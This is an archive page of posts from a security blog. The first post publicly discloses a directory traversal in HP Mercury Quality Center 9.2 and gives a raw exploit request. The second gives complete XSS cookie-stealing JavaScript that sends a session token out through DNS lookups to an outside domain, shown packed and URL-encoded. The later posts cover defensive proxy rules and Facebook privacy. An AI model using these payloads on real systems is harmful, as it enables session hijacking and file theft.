Archive

Author Archive

Droppin 0day, 5 years too late…

November 9th, 2012 No comments

We all have it on our networks – old software that just won’t go away. Somebody bought it to do a specific function, but that person left or the software didn’t work or add enough value to keep up with maintenance or upgrades. But yet it sits and festers on the network. It very well may be a niche product that security researchers don’t bother looking at. But one day, for some reason, you as the security guy end up finding it, looking at it, and dropping 0day on it – 5 years after the software was released and 3 versions behind the current release.

So how do we handle this kind of stuff? One question may be what is the chance that the vulnerability has been carried forward through the various releases to the current version. At this point it’s a long-standing 0day and congrats, you can make software better! Go report that shit. But let’s say it doesn’t, the vuln (if it was ever even found) no longer exists in recent versions. If reported to the vendor, most likely they will just say ‘Upgrade to the latest version’. Why would they bother creating a patch for a non-supported, non-current software package used in a niche market? So back to the question of what to do with your 5-year old 0day. Do we just release exploits/disclosure for an unpatched vulnerability into the wild under the pretenses that a patch exists, namely the next version of the software?

Here’s my feelings on this – someone made a decision not to upgrade that software. Maybe it was running just fine and they felt they could use those funds for something more productive. Maybe they just didn’t pay attention to what was on their network. I don’t think in either case your 0day is going to convince these people to pay for that upgrade (assuming that this is a commercial product). But maybe that vulnerability, in the hands of the internal security or external auditors, might be able to help sway decision makers to either transition away from that software or upgrade it. Keeping it to yourself doesn’t really do anything to advance the cause. So in that vein, here’s my 5-year old 0day, droppin’ it hardc0r3….

HP Mercury Quality Center 9.2 Directory Traversal Vulnerability

A directory traversal vulnerability exists within a JBoss component of HP Mercury Quality Center 9.2 that allows for the exfilatration of arbitrary files. It appears that this component runs as a local privileged user by default, so most anything should be up for grabs.

Tested only on version 9.2 running on the Windows platform.

Test Case

 GET ..\..\..\..\..\..\..\..\..\..\windows\system32\drivers\etc\hosts HTTP/1.1
 Host: <host>:8083
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Proxy-Connection: keep-alive

The offending service, launched by the ‘QCJavaService.exe’ service, appears to be a JBoss component. The directory traversal string must be sent unencoded and therefore is not generally accessible through a browser, but the attached Metasploit module or a raw HTTP interface like BURP or handwritten HTTP packets sent through telnet or netcat will work as well. I was not able to determine whether this was an issue within JBoss or how HP/Mercury is deploying JBoss.

Metasploit code completely taken from sinn3r’s Yaws HTTP Traversal module. Total props for the code.

Metasploit Module: hpqualitycenter9.2_traversal.rb.zip

XSS and DNS Covert Channels

October 9th, 2012 No comments

Like gum and nuts (They’re finally together!), let’s combine two classic attack techniques into one big gooey ball of goodness. Nothing here is anything new, just another way of looking for solutions to a problem.

So you’ve found an XSS flaw in an application and you’d like to steal some of the wonderful treasures in a user’s browser, but some nasty security administrator only allows access to a small set of approved sites. Therefore the classic method of requesting an external script with the cookie value as a query probably is not going to work. Enter covert channels via DNS requests.

Even if the specific HTTP request is being blocked by some form of proxy, in the vast majority of cases a DNS request will still be allowed. We’re not looking for the ability to tunnel out encoded packets or any such fancy-pants trickery. We just want a normal old A record request. We don’t care if the client system itself makes the request or if it passes through an internal resolver – it just has to make it out. And obviously the request needs to be made to a domain where we control the SOA and can log the incoming requests. Again, barring the need to be truly stealthy, we don’t really care if a record is returned – our goals are achieved once the request is made.

The Code

So, couple assumptions going on here.

  1. We’ve found an XSS flaw in an application
  2. We know the session mechanism or other such token that we want to steal from the end user.
  3. We have our DNS server.
  4. We can inject into the HTML body (as opposed to being only able to inject into a contained element ala javascript events)

So, let’s look at a basic version of the code:

function dnSession() {
var myDomain = "zombietango.net";
var prizeCookie = "phpsessid";
var cookieJar = document.cookie.split(/;\s*/);
for (var i = 0; i < cookieJar.length; i++)
{
var cookiePiece = cookieJar[i];
if (cookiePiece.toLowerCase().indexOf(prizeCookie) != -1) {
var cookieCrumb = cookiePiece.split("=");
var cookieType = cookieCrumb[0];
var cookieYum = cookieCrumb[1];
document.write("");
}
}
}

dnSession();

Very simple, we define a couple variables. The first is the root of the domain that we will query. The second is the specific cookie name we are trying to grab the value for. Since we’ve already identified our vulnerability, we should already know exactly what we are looking for.

After that, we carve up the full cookie string into individual name/value pairs by doing a split on the ‘;’ character. Then we iterate through that array until we find a pair that matches our desired cookie. Split that pair and we have our specific token value that we trying to steal. At this point, we’re at a pretty normal stage in XSS exploitation. In fact, nothing about this technique is really all that different from a typical XSS token exfiltration. The special sauce is just in how we are approaching the exfiltration. Normally, as we see in this code example, we’d just write out a tracker img or an AJAX request or a form post or something that would rely on the client being able to reach the attacker controlled web server to deliver the token. In this paradigm, we are looking to construct a domain that when placed into the DOM results in a DNS lookup. The hostname being resolved contains the token being passed to the attacker.

So back to out example. Once we’ve grabbed our token, the javascript writes out an hidden img tag that has it’s source set to <token>.attackerdomain.com. Since we control attackerdomain.com, we receive the token when the client attempts to retrieve the image file. Voila! We’ve exfiltrated data through the control specifically meant to keep users from sending data out of the network.

Trimming it Down

So, we have a chunk of working javascript code. This would be great if we could inject the code as part of a linked script file, but the whole point of this exercise is to pull off data exfiltration when we can’t get the user to our script page. So we need to get this into a smaller package. The first step would be to pack the javascript. Let’s use Dean Edward’s packer for this task. Packed using both the ‘shrink variable’ and ‘base62’ options, the code above looks like:

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('7 3(){2 a="8.9";2 b="h";2 c=4.j.5(/;\\s*/);k(2 i=0;i<c.l;i++){2 d=c[i];m(d.n().o(b)!=-1){2 e=d.5("=");2 f=e[0];2 g=e[1];4.p("<q r=\'t:6;u:6;v:w;\' x=\'y://"+g+"."+a+"\'>")}}}3();',35,35,'||var|dnSession|document|split|1px|function|zombietango|net||||||||phpsessid||cookie|for|length|if|toLowerCase|indexOf|write|img|style||height|width|display|none|src|http'.split('|'),0,{}))

Smaller and definitely injectable. But let’s go one more step and URL encode this bad boy (I like Burp’s decoder module – use what you like):

%3c%73%63%72%69%70%74%3e%65%76%61%6c%28%66%75%6e%63%74%69%6f%6e%28%70%2c%61%2c%63%2c%6b%2c%65%2c%72%29%7b%65%3d%66%75%6e%63%74%69%6f%6e%28%63%29%7b%72%65%74%75%72%6e%20%63%2e%74%6f%53%74%72%69%6e%67%28%61%29%7d%3b%69%66%28%21%27%27%2e%72%65%70%6c%61%63%65%28%2f%5e%2f%2c%53%74%72%69%6e%67%29%29%7b%77%68%69%6c%65%28%63%2d%2d%29%72%5b%65%28%63%29%5d%3d%6b%5b%63%5d%7c%7c%65%28%63%29%3b%6b%3d%5b%66%75%6e%63%74%69%6f%6e%28%65%29%7b%72%65%74%75%72%6e%20%72%5b%65%5d%7d%5d%3b%65%3d%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%74%75%72%6e%27%5c%5c%77%2b%27%7d%3b%63%3d%31%7d%3b%77%68%69%6c%65%28%63%2d%2d%29%69%66%28%6b%5b%63%5d%29%70%3d%70%2e%72%65%70%6c%61%63%65%28%6e%65%77%20%52%65%67%45%78%70%28%27%5c%5c%62%27%2b%65%28%63%29%2b%27%5c%5c%62%27%2c%27%67%27%29%2c%6b%5b%63%5d%29%3b%72%65%74%75%72%6e%20%70%7d%28%27%37%20%33%28%29%7b%32%20%61%3d%22%38%2e%39%22%3b%32%20%62%3d%22%68%22%3b%32%20%63%3d%34%2e%6a%2e%35%28%2f%3b%5c%5c%73%2a%2f%29%3b%6b%28%32%20%69%3d%30%3b%69%3c%63%2e%6c%3b%69%2b%2b%29%7b%32%20%64%3d%63%5b%69%5d%3b%6d%28%64%2e%6e%28%29%2e%6f%28%62%29%21%3d%2d%31%29%7b%32%20%65%3d%64%2e%35%28%22%3d%22%29%3b%32%20%66%3d%65%5b%30%5d%3b%32%20%67%3d%65%5b%31%5d%3b%34%2e%70%28%22%3c%71%20%72%3d%5c%27%74%3a%36%3b%75%3a%36%3b%76%3a%77%3b%5c%27%20%78%3d%5c%27%79%3a%2f%2f%22%2b%67%2b%22%2e%22%2b%61%2b%22%5c%27%3e%22%29%7d%7d%7d%33%28%29%3b%27%2c%33%35%2c%33%35%2c%27%7c%7c%76%61%72%7c%64%6e%53%65%73%73%69%6f%6e%7c%64%6f%63%75%6d%65%6e%74%7c%73%70%6c%69%74%7c%31%70%78%7c%66%75%6e%63%74%69%6f%6e%7c%7a%6f%6d%62%69%65%74%61%6e%67%6f%7c%6e%65%74%7c%7c%7c%7c%7c%7c%7c%7c%70%68%70%73%65%73%73%69%64%7c%7c%63%6f%6f%6b%69%65%7c%66%6f%72%7c%6c%65%6e%67%74%68%7c%69%66%7c%74%6f%4c%6f%77%65%72%43%61%73%65%7c%69%6e%64%65%78%4f%66%7c%77%72%69%74%65%7c%69%6d%67%7c%73%74%79%6c%65%7c%7c%68%65%69%67%68%74%7c%77%69%64%74%68%7c%64%69%73%70%6c%61%79%7c%6e%6f%6e%65%7c%73%72%63%7c%68%74%74%70%27%2e%73%70%6c%69%74%28%27%7c%27%29%2c%30%2c%7b%7d%29%29%3c%2f%73%63%72%69%70%74%3e

In this specific example, I’ve just wrapped the JS in a set of <script> tags. This may or may not be appropriate based on your injection point. You’ve now got a nice, albeit long, piece of URL ready text to pop into your vulnerable query parameter. I’m sure there are some inefficiencies in my JS code that could be resolved to make the final package shorter, but this at least gets the idea across.

Categories: Security Tags:

Blocking Vulnerable Java Requests at the Network Layer

August 30th, 2012 No comments

Another week, another Java exploit. Java as a server platform and as a desktop/mobile still has a role to play in modern computing, but the same really can’t be said for the browser side of the technology. As seen in both the general populace and in monitoring metrics from my own networks, Java is one of (if not the) top targets for drive-by exploits. In my work environment, where the cause of a desktop compromise is known, Java is responsible for over 90% of the initial compromise vectors.

So let’s talk defense here for a bit. Security and administrative teams have several options (as well as challenges) in dealing with the risk associated with Java in their environment:

  1. Remove it. Depending on the shop, this may or may not be an option. Like any other software platform, if it isn’t needed the safest course is to remove the package entirely. This is not always an option though as there are still a number of business related applications that require Java as a desktop or browser platform.
  2. Disable the browser plugin only. This is the functionality that is exploited in drive-by or targeted link attacks, so if is not needed (but a desktop Java environment is) disabling the browser object cuts way down on the attack surface. Not all shops have this ability, however, especially for non-IE browsers. Asking the users to do it themselves without the ability to monitor compliance is not really an effective option here.
  3. Patch it. In regular circumstances, this is a great idea. Java is notorious for being hard to patch in stand-alone mode (who hasn’t seen the ‘Click here to update Java’ followed by the ‘A new update is ready to install’ pop-ups. Just install it, I already clicked you once!). Many smaller shops (and some big ones too) lack the tools to effectively manage and patch 3rd-party software. And in this specific case there isn’t even a patch for the issue, so additional controls are needed to provide a sufficient level of protection.
  4. Push the control onto the network. This can be deployed as a stand-alone measure or in conjunction with other controls listed here (my preferred option). Network controls such as forward proxies or IPS devices that can filter on the layer 7 payload can be used to help prevent a system that has missed the previous sets of controls from being exposed to the final exploit payload. In fact, the rest of this article will be about utilizing a Bluecoat web proxy to prevent the Java plugin from reaching the internet in general.

Configuring Bluecoat to deny access to the Java User Agent

While these intructions are for the Bluecoat series of web proxies, the same methodology should be portable to whatever proxy you have in place. If the proxy cannot do deep inspection on SSL wrapped connections, you may lose some level of control though I don’t believe that I’ve seen a site that specifically served general target malware over SSL in my day-to-day monitoring.

First, we’ll create a new policy line and set the action to ‘Deny’ (the default typically). Move the policy into place in your policy chain so that it will be most effective (I’ve place mine in the first couple of slots, though your set-up may vary).

Depending on other controls or requirements, you can set the ‘Service’ to only look at defined HTTP/HTTPS traffic or the catch-all ‘Any’ service.

Building the Rule Objects

Let’s start by setting the source object. Right click on the Source field that probably reads as ‘Any’ and select ‘Set’. In the ‘Set Source Object’ window that comes up, click ‘New’ and select ‘Combined Source Object’. Give the object a name, something like ‘Unpatched Java’.

Now to create the specific objects that will detect the use of the Java plugin. Luckily, when Java creates an HTTP socket connection, it set’s it User-Agent request header to the full version of the JRE in use. This is specifically the case here when the browser plugin requests a JAR or class file from an HTTP server. It is this request that we specifically want to block. To start, let’s create a new ‘Request Header’ object by clicking New->Request Header.

Name this new object something like ‘AllJavaUserAgents’. Set the ‘Header Name’ to ‘User-Agent’. Set the ‘Header Regex’ to:

.*Java/1.[4-7].0_[0-9]+.*

AllJavaUserAgents

This will now match on any Java 4 through Java 7 User-Agent string (if you still have Java versions earlier than 4 in your environment, you probably don’t have a Bluecoat proxy or a security program in general). Example matches would include:

User-Agent: Java/1.6.0_33  
User-Agent: Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_05

Save this new object and create a second Request Header object. This one will be for fully patched (securely patched, not just latest version patched). Set the name to something like ‘FullyPatchedJava1_6’ and the ‘Header Regex’ to:

.*Java/1.6.0_3[3-4].*

FullyPatchedJava

Once Java 7 is patched, we can create a third object that encompasses the patched version string as well so that this rule can be used to protect against threats to machines that have not been patched to the latest versions, but for now only the 6 branch is secure (in a relative sense).

Back in the Combined Object Editor window, select the ‘AllJavaUserAgents’ object and add it to the first/top rule block. Select the ‘FullyPatchedJava1_6’ object and add it to the second/bottom rule block. Click the ‘Negate’ check box for the second/bottom rule block. This sets up a match condition for any Java User-Agent string except Java/1.6.0_33 or Java/1.6.0_34 (v. 34 is a bug fix release, and not a security release but can still be found out there).

Final Unpatched Java CSO

From here, depending on your security requirements, you can either add this object directly to the ‘Source’ field of your policy rule or add it to another combined source object as needed. We had specific subnets that we were applying this rule to, so I created a second combined object rule that matched on both the subnets in question and the ‘Unpatched Java’ object.

Likewise, if there are specific known-good destinations that you need the Java plugin to run on, these can be added as a Negate rule to the ‘Destination’ object. This is where additional controls at the network layer come in handy over just disabling the plugin altogether.

Once complete, save and install the new policy. It is probably a good idea to set up a trace or log event on the policy line itself to allow for monitoring of blocks, both from an incident response and tuning perspective.

Rogue Machine Discovery Using DHCP Hostname Analysis

October 23rd, 2009 No comments

An important aspect of defending one’s network is controlling what devices actually get on said network. In fact, several of the big name IT regulatory schemes – SoX specifically, though probably some of the others as well – have specific requirements to control access to network assets. Depending on the nature of a business, the financial resources available, and the prevailing culture of the workplace this can either be a relatively simple task or something approaching the Sisyphean level. There are also two levels of people we are trying to keep off: end-users who are either ignorant or dismissive of established policy concerning network access and the “determined individual”, be them malicious or just not wanting to follow the rules.

This process was developed at ThatPlaceIWorkâ„¢ as a stop-gap measure to help determine machines that were attached to the internal network but which were not maintained or managed by us. It is definitely aimed at the first group mentioned above – it is somewhat trivial to overcome by a knowledgeable person, but that is not the goal of the exercise. Our business, by the nature of our industry, is very free-flowing and the culture does not adapt well to overt controls – any controls that are leveraged have to walk a fine line between effectiveness and intrusiveness. The vast majority of machines that are being placed on the network that should not be there are either personal machines of employees or those of guests being brought into the agency. Some of these machines come in infected with malware, as determined by our IPS systems. They have no business being on the internal network and there is written policy against such a practice. Weak consequences of policy infringement keep these policies from being effective on their own. Therefore we developed this process to help control the use of undesired machines until such time as a better process could be put in place. Again, this is not a NAC solution, it is merely a way to quickly narrow down a list of machines that may be on the network in defiance of policy. If you really want to keep machines properly segmented, either implement something like wired 802.1X (which we are moving to) or full-body cavity searches at the door.

Read more…

When Facebook Apps Attack!

March 2nd, 2009 No comments

Facebook, and other popular social networking services like Twitter and MySpace, are the new frontier when it comes to attack surfaces for the bad guys. They are the target of attack because, like Internet Explorer and like Microsoft Windows before it, that’s where the users are. All of these services have been struck by cross-site scripting attacks, malicious add-on applications, password attacks, and everything else in the Web 2.0 tool box.

There is absolutely nothing new in the way these attacks are delivered or the form in which they take. They mostly play on the typical curiosity that an end-user has for the shiny link, app, or video that is presented to them. But that old addage – don’t click on it unless you know what it is – still applies in the vast majority of these social networking attacks.

Facebook has seen several new rounds of malicious application attacks in the last week or so, including yet another tour of the Koobface worm. This particular piece of malware appears as a note from a friend on Facebook with some call to action to see a humorous, or potentially embarrassing, video. The actual payload passes itself off as an update to Flash or other such media viewer. Once installed, the trojan steals cookies for various sites, including Facebook, allowing itself to login and interact with Facebook via its API interface on your behalf. This is how it can then propagate further.

Think “Do I really need to add another smiling puppy to my Facebook page?” the next time that application request comes in. And, no, you probably weren’t caught on video doing something dumb.

Categories: Security Tags:

P2P File Sharing to Blame for Marine One Data Breach

March 1st, 2009 No comments

This seems like common sense to me — if you are responsible for administering or securing a corporate network, in any sector or industry, you are being negligent if you do not do everything in your power to stop P2P software from being used within your network or on machine under your control. This article from CNET is just another example of what can happen when you fail at this task:

An Internet security company claims that Iran has taken advantage of a computer security breach to obtain engineering and communications information about Marine One, President Barack Obama’s helicopter, according to a report by WPXI, NBC’s affiliate in Pittsburgh.

Tiversa, headquartered in Cranberry Township, Pa., reportedly discovered a security breach that led to the transfer of military information to an Iranian IP address, according to WPXI. The information is said to include planned engineering upgrades, avionic schematics, and computer network information.

The channel quoted the company’s CEO, Bob Boback, who said Tiversa found a file containing the entire blueprints and avionics package for Marine One.

“What appears to be a defense contractor in Bethesda, Md., had a file-sharing program on one of their systems that also contained highly sensitive blueprints for Marine One,” Boback told WPXI.

Tiversa makes products that monitor the sharing of files online. A representative for the company was not immediately available for comment.

Boback believes that the files probably were transferred through a peer-to-peer file-sharing network such as LimeWire or BearShare, then compromised.

Read more…

Categories: Security Tags: , ,

All Your Content is Belong to Facebook

February 16th, 2009 No comments

File this under “Read the Frickin’ Terms of Service”. I’ve recently started using Facebook, and as a way to keep in touch with people that, due to scheduling or geographic distance, I don’t often get to catch up with. I am also the type of person that, more often than not, reads a TOS agreement. Facebook, unfortunately, wasn’t one of those services that I read the TOS for. I’m now regretting it. It turns out that by signing up and using their service, Facebook owns “an irrevocable, perpetual, non-exclusive, transferable, fully paid, worldwide license (with the right to sublicense) to (a) use, copy, publish, stream, store, retain, publicly perform or display, transmit, scan, reformat, modify, edit, frame, translate, excerpt, adapt, create derivative works and distribute (through multiple tiers), any User Content” that you post to their service. And due to a new change, this license persists even after you delete the content or the account assigned to it.

While my litany of status updates has no real commercial value – to me or Facebook – other content that I may post does. Some of my photos have real commercial value, as may my writings. Imagine this case: I publicize a limited edition print run on my Facebook page directing people to my commercial website where the print can be purchased. I’ve included a small, low-res version of the print in question in the post. By doing so, I have granted Facebook a full, royalty free, transferable license to use that work however it sees fit, including creating their own prints from that image. Not being a copyright lawyer, I can’t really answer this question, but think on this: What if Facebook were to purchase a copy of said print, scan it, and re-distribute a new version of the work. The question becomes what constitutes the image – the low-res copy posted or the work as it exists itself? By posting a preview of the work, have I just granted someone else a blank check to use my work, in whatever form, how they see fit? This is a valid question that I feel hasn’t truly been addressed in modern copyright law.

So to my friends and readers who are artists, writers, photographers, models (yes models – Facebook is also granted a full license to use your likeness) or any other sort of creative, stop posting your content on Facebook! Anything that you ever expect to use in any form of commercial endeavor should not be posted on Facebook. And since Facebook has changed their TOS, anything that you do have up or have ever had posted is already fair game.

Update: A Facebook spokesperson has come out in an attempt to clarify the TOS. Read it here. A Facebook group organized against the scope of the TOS can be found here.

Update2: Facebook has reverted to the terms as of September 28th, 2008, removing the language concerning perpetual licensing. They are taking time to re-write the terms in such a manner to encompass the terms needed to operate their services while still explicitly denying any claims to IP ownership on content posted. Updates can be found at the general Facebook blog or the Facebook Rights and Responsibilities group.

Categories: Technology Tags:

10 Ways to Improve Your Privacy on Facebook

February 12th, 2009 No comments

I’ve only been turned on to Facebook in the last few months. My only other foray into the “social networking” scene was a small stint on that cesspool known to the kiddies as MySpace. Facebook is a huge improvement of the noisy, garish, pre-pubescent glory of MySpace. But I’ve always been concerned about the melding of personal and public life that comes along with the social networking paradigm. This article lays out some very nice steps to help improve your level of privacy while using Facebook, but still use it as an effective communication tool. Off to try these things out!

Categories: Technology Tags: